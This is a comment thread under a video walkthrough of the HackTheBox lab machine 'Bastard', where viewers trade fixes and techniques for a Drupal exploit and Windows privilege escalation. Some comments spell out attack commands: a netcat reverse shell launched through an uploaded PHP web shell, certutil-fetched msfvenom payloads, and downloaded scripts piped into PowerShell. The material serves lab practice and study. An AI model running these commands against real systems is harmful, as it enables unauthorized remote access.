HackTheBox - Bastard

Sherlock was fixed, should no longer report the false negative github.com/ras...
If you wanted to do this with MSF -- Watch the Arctic Video and use the exploit shown in the video. If it doesn't work, try changing the payload with the exploit and ensure you're a 64 bit process.

[@frankkesel7252]

My God Ipp one again you outdone yourself. Once again the greatest info sec vid i ever seen. Thanks a thousand time. so explanatory and clear. IM so gratefull. . Keep it up its so appreciated that u share and teach !

[@billbanks9141]

What a master. It's a pleasure to see you speak through your process.Thanks for putting these vids up.

[@jasoney400]

for anyone that get the wierd error from the php script 'apt install curl-php'

[@pentaroot5531]

Had to do the install on my end 'apt-get install php-curl'

[@anacroninck]

This was of very good help. Thank You.

[@marcobrandoni8433]

Thank you. This helped a lot

[@sinfluxmajor]

on newer versions of Kali with php v 7.2 its sudo apt-get install php7.2-curl

[@xmrminergate2071]

Very useful, thank you man!

[@bexsmith]

Your a modern wonder man, I'm so happy you make these videos, your insight into operating systems is truly amazing keep up the good work xx =^.^=

[@comradedragoGaming]

if anyone is having issues with the PHP exploit while using PHP version 7.3.8 update it too 7.4 and reinstall php-curl and it should run without the curl_init error.

[@TheCryptonian]

I used the PHP exploit with the OS shell, downloaded a msfvenom reverse TCP shell.exe with certutil, and then executed a reverse shell - but I'm sure you wanted to show other techniques with Burp and web shells - which I found very useful to learn about! Great video! Thanks!

[@younesmohssen8158]

Hey man, so what modifications did you do to the php exploit? Did you only modify the rest_endpoint? And how did you know that it should be changed back to ‘rest’?

[@TheCryptonian]

@@younesmohssen8158 I didn't make any modifications. I just ran the Drupal exploit, uploaded a reverse shell binary (.exe), and then executed it (shell.exe) and generated a reverse shell

[@younesmohssen8158]

TheCryptonian ohhhh okay and how about the endpoint? How did you know it was ‘rest’ and not ‘rest_endpoint’?

[@sheesh236]

@@younesmohssen8158 Did you find an answer bro, how to know it is rest, or something else when it comes up next time

[@JulioUreña]

Excellent job you are doing bro! Thanks for sharing!

[@wutangdaug]

This one is kinda difficult in my case. If I don't have your tutorial, that exploit is not working for me. I wonder what level of difficulty is this machine? If it is just average box, I think I am far away from a pen tester now.

[@user-po7cm3nr7p54]

I have the same feeling. Since this comment was posted 5 years ago, how're you doing right now?

[@sergeisumarokov]

"ch ch ch ch ch chhhhhhhh.." last few month live with that sound :)

[@cybersecuritypentestinginc2034]

Thank you IppSec for such an in depth video! i am stuck only on one part in the video...i had no issues with any of other sripts upload or techniques, but for some reason not able to upload nc64.exe to the target: i've tired the following: 1. Kali:/path/where/nc64exe/is/directory: #python -m SimpleHTTPServer 8000 2. kali:/second/terminal/window:#nc -lvnp 8081 3. Kali:10.10.10.9/cybersec.php?fupload=nc64.exe&fexec=nc64.exe -e cmd 10.10.x.x 8081 am I missing anything?

[@TechyTubeDotCom]

You've missed to enclose the arguments to nc64 in quotes, as ipp explains this is so that nc64 takes those in as one argument

[@bigbmxdave]

Hi, I know this is a bit of an old comment, but did you solve this issue? I'm stuck on the exact same place and even trying to do similar things from other guides it always fails at this stage where I try to upload a file, it's like something is blocking upload attempts.

[@cybersecuritypentestinginc2034]

@@bigbmxdave Sorry Oguzhan, i cna't remember exactly:) have to go back in time, or redo this box again to validate. will let you know

[@ciaranmcglynn8318]

Thanks for this video - I learned quite a bit!

[@kalidsherefuddin]

The great course

[@ShabazDraee]

i get this error when executing the code, everything is right... PHP Fatal error: Uncaught Error: Call to undefined function curl_init() in /drupal.php:265 Stack trace: #0 /drupal.php(115): Browser->post('application/vnd...', 'a:2:{s:8:"usern...') #1 {main} thrown in /drupal.php on line 265

[@ShabazDraee]

I literally solved it 2 minutes after typing this comment, a quick google taught me to download this sudo apt-get install php-curl worked right after!

[@fsacer]

Well you could have used powershell for file upload (no need for php uploader). Great video though, explaining other angles :) Also filed issue here github.com/rasta-mouse/Sherlock/issues/5

[@ippsec]

Yeah, there's a lot I want to do with Powershell but this is only Version 2. So probably wait for a future box to do more powershell stuff.

[@rastamouse4946]

Hi! Was MS15-051 actually verified on this box, or was it just speculation that Sherlock is giving a false result?

[@ippsec]

It's verified in this video :) I used MS15-051, download it at 32m

[@rastamouse4946]

Heh - wasn't paying close attention. Will pick this up on Twitter :)

[@desktopt328]

29:55 How can you enter the path of the nc64.exe like that and still works ? How does the php file knows the location of the executable on your disk

[@ippsec]

Current working directory is in the path by default.

[@desktopt328]

@@ippsec I was asking about how you could upload nc64.exe from your machine to the victim buy just entering the file name in the url but reviewing the code at 15:39 shows that you actually coded the shell to download files from PythonHttpServer on your machine, that's why you can just enter nc64.exe and it will be uploaded .😅 Thanks bro keep the great work

[@andreas3578]

why are all these windows servers with greek locale ? Greeks making these kind of boxes ?

[@loremipsum685]

incerdible how much your production has increased over the years. Awesome that you've been making content this long.

[@Blu3W4r10Ck]

Get 500 - Internal server error when checking to see once the ippsec.php file is written via the drupal.php script.

[@jasonjohnson2499]

There's actually a simpler way to privesc on this box, if you do whoami /all you will see you have SeImpersonatePrivilege enabled which would allow you to execute Juicy potato, takes like 5 minutes.

[@ippsec]

This machine came out before that was a thing 😀

[@jasonjohnson2499]

@@ippsec I did think that might be the case, great videos by the way! :)

[@anthonyanderson9924]

i kept getting access denied whenever I tried running juicyp

[@xB-yg2iw]

ahahha this is exactly what I did, along with drupalgeddon which I also believe is newer, done the box in ~ 30 mins

[@FoxMaccloud]

searchsploit -m 4449 --> shell Thank you very mutch sir.

[@marcobrandoni8433]

I'm studying for my OSCP exam and your work is helping a lot. Thank you. I really mean it. Took me 5 hours to reproduce the steps you went through in this video and I must admit this machine killed me. I definitely have to try harder. Keep up the good work. Now for my italian fellows: Se qualcuno ha voglia di fare un gruppetto di studio per scambiarsi esperienze, opinioni e consigli si faccia pure sentire! Ciao!!

[@_paperasonica_1050]

io ho voglia di fare un gruppo! :D

[@leonardosilvi3152]

A bit too late ma eccomi qui

[@cybersecuritypentestinginc2034]

Hi Marco, have you had issues uploading nc64.exe? i've run into the problem only with this part of the video.

[@younesmohssen8158]

Did you pass your exam?

[@tejaszarekar9145]

i want to know which keyboard are you using?!

[@xandercage740]

any idea why i am seeing "no socket" when i goto 10.10.10.9. No image, nothing, just no socket written. :/

[@southaustin8828]

I get a random error on line 24 but I didn't even touch that code php 41564.php PHP Parse error: syntax error, unexpected 'error_reporting' (T_STRING) in /root/Documents/htb/boxes/Bastard/41564.php on line 24 and line 24 is error_reporting(E_ALL);

[@mohittirkey7889]

check the comments above in the code before error_reporting and remove the word which is without #

[@HishanShouketh]

Awesome thank you,

[@ITRIEDEL]

i only managed user. Thanks for this

[@flovex7]

excellent video :) well explained, I got struck in this machine and after vacation seems like it has been retired.... :) I was able to find till end point and could not get the admin user created thru ambionics script..... Could you shed light on why you used 127.0.0.1 instead of the ipaddress of Bas____ please....

[@ippsec]

Watch the arctic video, I explain it there aswell. Essentially just a easy hack to get the request into burp without code changes

[@DarixDeros]

Awesome video. Thx a lot - KNX

[@Potere922]

Hi, just a question, why we need to type: “ | powershell -noprofile - “ ?

[@poofarmer]

The first command downloads the contents of the file as a string. So by using a pipe you are sending that string as input to powershell for it to interpret, the "-" represents that. So to write it another way would be "powershell -noprofile 'downloadedString'". The noprofile flag says don't load any pre-defined user commands, (similar to excluding ~/.bashrc on linux)

[@assobosco7722]

hello dear, i will like to know why in PowerUp.ps1 file you add Invoke-AllChecks in the end of the file

[@pjsmith4471]

He want to execute this module/function so when he added this at the end of the script, the script execute automatically this function. idk if it is clear but look how powersploit/powerup work normally in powershell and you will understand. hope it make sense lol

[@meryemelomari5692]

I love you.

[@IS33UUU]

As always, A-MAY-ZING! Thanks!

[@AliBawzeEer]

thanks man !! that was pain for me to crack it alone !

[@roninjanjira9687]

@IppSec I am just wondering did you fix the exploit before you started recording? When I ran the exploit I had to fix the "curl_init()" function.

[@Sokow]

For everyone interested ... do an 'apt-get install php-curl' to install the required library.

[@roninjanjira9687]

@@Sokow thank you!!

[@CriticallyInsane]

@@Sokow holy wow thank you so much

[@f1uffygoatsec275]

Great Walkthrough!

[@chosenone5601]

just freaking awesome

[@pjsmith4471]

any particular reason you dont use your shell for uploading PowerUp?

[@pjsmith4471]

And thank you for your channel, you are AWESOME man, i hope i can have the half of your skill and i will be happy :D

[@ippsec]

Just mixing up techniques between videos. Try to rotate TTP's between boxes to show different ways to do things.

[@pjsmith4471]

Ok thanks and please continue videos i learn a lot of tricks with you!!! You are in my PC with notes ippsec_TIPS_&_TRICKS ahaha

[@hatemmohamed4032]

would you make another videos for windows machines ?

[@paired7815]

I am not able to privesc in this machine ...EXE s are not running ...tried nc64.exe ..not worring ...used nishang to get a powershell reverse shell ... in that also no exe is running ...i tried both 64 and 32 version of it ... PS C:\inetpub\drupal-7.54> Invoke-PowerShellTcp : Program 'ssec.exe' failed to execute: This version of %1 is not compatible with the version of Windows you're running. Check your compu ter's system information to see whether you need a x86 (32-bit) or x64 (64-bit) version of the program, and then contact the software publisher Any help is appreciated thanks

[@younesmohssen8158]

What did you do?

[@disblog2334]

Hey what's up @ipsec

[@disblog2334]

@ippsec